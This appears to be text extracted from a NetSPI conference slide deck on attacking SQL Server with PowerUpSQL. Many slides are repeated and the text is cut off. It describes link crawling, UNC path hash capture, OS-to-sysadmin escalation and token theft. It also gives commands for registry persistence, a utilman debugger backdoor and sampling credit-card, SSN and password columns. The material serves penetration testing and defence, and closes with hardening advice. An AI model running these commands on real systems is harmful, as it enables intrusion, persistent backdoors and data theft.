1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Escalating Privileges Crawling Server LinksWhatrsquos a database link
Database links are basically persistent database connections for SQL Servers
Why should I care
Short answer = privilege escalation
Public role can use links to execute queries on remote servers (impersonation)
SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)
Stored procedures can be executed (xp_cmdshell)
Links can be crawled
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain EvilKey
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and local commands on
database servers via nested linked services
2
Escalating Privileges Crawling Server Links
Penetration Test Stats
Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain EvilKey
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and local commands on
database servers via nested linked services
2
Escalating Privileges Crawling Server Links
Penetration Test Stats
Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and local commands on
database servers via nested linked services
2
Escalating Privileges Crawling Server Links
Penetration Test Stats
Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and local commands on
database servers via nested linked services
2
Escalating Privileges Crawling Server Links
Penetration Test Stats
Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and local commands on
database servers via nested linked services
2
Escalating Privileges Crawling Server Links
Penetration Test Stats
Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
